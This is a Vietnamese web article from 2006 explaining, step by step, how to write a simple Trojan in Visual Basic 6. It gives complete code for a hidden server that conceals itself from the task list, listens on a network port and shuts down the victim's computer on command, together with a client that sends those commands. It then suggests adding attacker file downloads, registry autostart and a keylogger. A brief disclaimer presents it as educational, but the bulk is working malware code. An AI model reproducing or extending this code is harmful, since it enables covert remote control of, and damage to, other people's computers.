Home page » Vietnamese » Tin Hoc » Hacker » Cach viet mot Trojan don gian trong VB6

Reading article

Cach viet mot Trojan don gian trong VB6

Chung toi dang bai nay khong phai muc dich khuyen khich cac ban viet virus pha hoai du lieu nguoi dung ma chi muon qua bai viet nay cac ban co the hieu biet mot phan nao do ve cach xay dung mot virus. Qua day cac ban cung co the xay dung cac y tuong ve mot phan mem chong virus khi chung ta biet ro duong di cua mot virus mang.

Viet mot Trojan de dang hon nhieu so voi moi nguoi nghi. Tat ca thuc su chi can hai chuong trinh ung dung don gian voi noi dung it hon 100 dong ma lenh.Chuong trinh dau tien la client, la chuong trinh cho nguoi su dung biet. Chuong trinh thu hai la server, hay phan “trojan” thuc. Bay gio chung ta se xem chung ta can gi cho ca hai va mot so vi du mau.

Server

Server la phan Trojan cua chuong trinh. No can phai duoc giau de nguoi dung binh thuong khong the tim thay no.
De thuc hien dieu nay ban bat dau bang cach su dung doan ma lenh sau:

Private Sub Form_Load()
Me.Visible = False
End Sub

Doan ma nay lam cho chuong trinh khong the thay duoc bang mat thuong nhung co the bi phat hien trong Task Manager cua Windows vi the neu muon chuong trinh an tot hon, chung ta co the viet doan ma nhu sau:

Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
End Sub

(Trong he dieu hanh Windows, tat ca chuong trinh co duoi .exe deu duoc the hien trong danh sach chuong trinh chay. Tuy nhien chuong trinh cua ban se duoc an trong Running Applications List )

Bay gio chung ta da co mot chuong trinh tang hinh doi voi nguoi su dung binh thuong, ma chi can co bon dong lenh. Tuy nhien no van con qua don gian, chung ta co the lam cho no tot hon bang cach them vao mot so ham.
Dau tien la lam sao cho no co the “nghe” duoc cac ket noi khi no xam nhap duoc vao may, chung ta can them vao mot dieu khien Winsock Control.
Toi dat ten cho dieu khien cua toi la “win”. Con cac ban co the dat la bat cu cai gi tuy y.
De lam cho Trojan "nghe" duoc cong 2999 khi khoi dong, chung ta viet doan ma nhu sau:

Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
win.LocalPort = 2999
win.RemotePort = 455
win.Listen
End Sub

Doan ma nay thiet lap mot cong mo cuc bo toi cong 2999, va cong ma no gui toi la 445.
Bay gio, chuong trinh da co the “nghe”, nhung chua lam duoc dieu gi ro rang ca.
Chung ta them doan ma sau vao form chinh:

Private Sub win_ConnectionRequest(ByVal requestID As Long)
win.Close
win.Accept requestID
End Sub

Private Sub win_DataArrival(ByVal bytesTotal As Long)
win.GetData GotDat
DoActions (GotDat)
End Sub

Tiep theo, chung ta se viet ham DoActions nhu la mot chuong trinh con de goi vao main form. Doan ma tren thuc hien hai nhiem vu: Dau tien la lam cho tat ca cac yeu cau ket noi duoc tu dong chap nhan; tiep do la lam cho tat ca cac du lieu duoc tu dong chap nhan va sau do thi chuyen toan bo du lieu nay sang cho ham DoActions ma chung ta se viet duoi day.

Ham DoActions nen viet o dang public de cac chuong trinh o ngoai modul cung co the dung duoc. Them doan ma sau vao modul, va chung ta dang lam viec voi server cua Trojan:

Public Function DoActions(x As String)
Select Case x
Case "msgbox"
Msgbox "The file C:\windows\getboobies.exe has caused an error and will be terminated",vbCritical,"Critical Error"
Case "shutdown"
shell "shutdown -s -f -t 00"
End Select
End Function

Bay gio ban da co mot chuong trinh ma khi du lieu “Msgbox” duoc gui toi cong 2999, no se the hien mot hop tin nhan msgbox tren may tinh cua nan nhan. Khi du lieu “shutdown” duoc gui toi cong 2999, no se tat may tinh cua nan nhan. Toi dung cau lenh “Select Case” de de dang chinh sua doan ma ve sau nay. Xin chuc mung, ban vua moi viet xong Trojan dau tien cua ban. Bay gio chung ta hay xem lai doan ma hoan chinh.

Main Form

Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
win.LocalPort = 2999
win.RemotePort = 455
win.Listen
End Sub

Pivate Sub win_ConnectionRequest(ByVal requestID As Long)
win.Close
win.Accept requestID
End Sub

Private Sub win_DataArrival(ByVal bytesTotal As Long)
win.GetData GotDat
DoActions (GotDat)
End Sub

Hay nho them dieu khien winsock va dat ten no la “win” neu ban dung doan ma nay:

Module

Public Function DoActions(x As String)
Select Case x
Case "msgbox"
Msgbox "The file C:\windows\getboobies.exe has caused an error and will be terminated",vbCritical,"Critical Error"
Case "shutdown"
shell "shutdown -s -f -t 00"
End Select
End Function

Tat ca phan Server cua Trojan chi co the. Gio chung ta xem xet den phan Client

Client

Client la cai ma ban se tuong tac toi. Ban se dung no de ket noi toi server tu xa (trojan) va gui cho no cac lenh. Sau khi da viet duoc phan server chap nhan cau lenh “shutdown”, “msgbox”, chung ta hay tao ra mot client gui di cac cau lenh do.

Tao mot form them mot dieu khien Winsock Control, mot hop text box va bon nut. Trong doan ma duoi hop text box duoc dat ten la txtIP, cac nut duoc dat ten la cmdConnect, cmdMsgbox, cmdShutdown va cmdDisconnect. Doan ma nhu sau:

Private Sub cmdConnect_Click()
IpAddy = txtIp.Text
Win.Close
Win.RemotePort = 2999
Win.RemoteHost = IpAddy
Win.LocalPort = 9999
Win.Connect
cmdConnect.Enabled = False
End Sub

Private Sub cmdDisconnect_Click()
Win.Close
cmdConnect.Enabled = True
End Sub

Private Sub cmdMsgbox_Click()
Win.SendData "msgbox"
End Sub

Private Sub cmdShutdown_Click()
Win.SendData "shutdown"
End Sub

Do la doan ma cho client. Tat ca viec no lam la lay dia chi IP tu txtIP va ket noi voi cong tu xa 2999. Sau khi duoc ket noi, ban co the gui du lieu “shutdown” hay “msgbox” toi server va cac hoat dong tuong ung se duoc thuc hien (tat may tinh hay the hien mot hop tin nhan).

Hai chuong trinh nay lam duoc rat it nhung co the cai tien nhanh chong thanh mot chuc nang quan tri tu xa manh neu ban biet ban dang lam gi. Toi de nghi la nen co gang them cac loai dieu khien loi va ham cho ca client va server.

Loi khuyen

Hay lam cho server co the tai duoc mot file dac ta cua nguoi tan cong.

Them ma lenh de Server duoc thuc thi luc khoi dong (la mot khoa thanh ghi).

Va mot keylogger cho server – lam cho no gui thong tin cho nguoi tan cong.

Co rat nhieu cach ban co the lam, chi can dung tri tuong tuong cua ban

By T.Thu

Article source http://w4rum.com/20.t

[By Phan Vien] [10/Oct/06]
 
View more articles from Phan Vien
Database - Cac nguyen tac thong thuong bao mat co so du lieu.
Nhung giai phap doi pho voi phan mem gian diep
2006: Nam kinh hoang cua bao mat
Game online, ke khoc nguoi cuoi
Hoc Microsoft Word nhu the nao de dat ket qua tot?
Mai Phuong Thuy virus Yahoo Message Viet Nam
Mot vai thu thuat su dung Firefox hieu qua
Ket hop giua anh so va Photoshop
The gioi mang ao cua tuong lai
Tuong lai cuoc chien cua cac he dieu hanh
  
5 newer articles in this category
Website cua hang bo mach ASUStek bi hacker tan cong
Botnet hoat dong nhu the nao
Website cua ESVN va Viettel bi hacker tan cong
Hacker Trung Quoc phat len nho malware
Xam nhap may tinh tu xa thong qua Yahoo! Messenger
  
 
List Category
Choi WebGiai TriHoc TapKhoa HocSuc KhoeTin HocTin CNTT Trong NuocSu Kien CNTT Quoc TeKien Thuc Co BanThu Thuat May TinhHDH Windows XPTin Hoc Van PhongDo Hoa May TinhWeb Chat EmailVirus MalwareCo So Du LieuThe Gioi GameSecurity - Bao MatHackerTai Phan MemGoc Tan ManPhan Mem MoiThuong Mai Dien TuPhan CungQuan Tri MangHDH Windows VistaTin TucDoi Song
 
Member Corner
Your Email

Password


Or Register!
Or Forgotten password!
Suggest a language!
Suggest a category!
Submit an article!
Remove Ads

Links Exchange
Copyright © 2007 Webmaster Forum w4rum.com. All Rights Reserved!
Use of our service is protected by our Privacy Policy and Terms of Service

5 A B C D E F G H I J K L M N O P Q R S T U V W X Y Z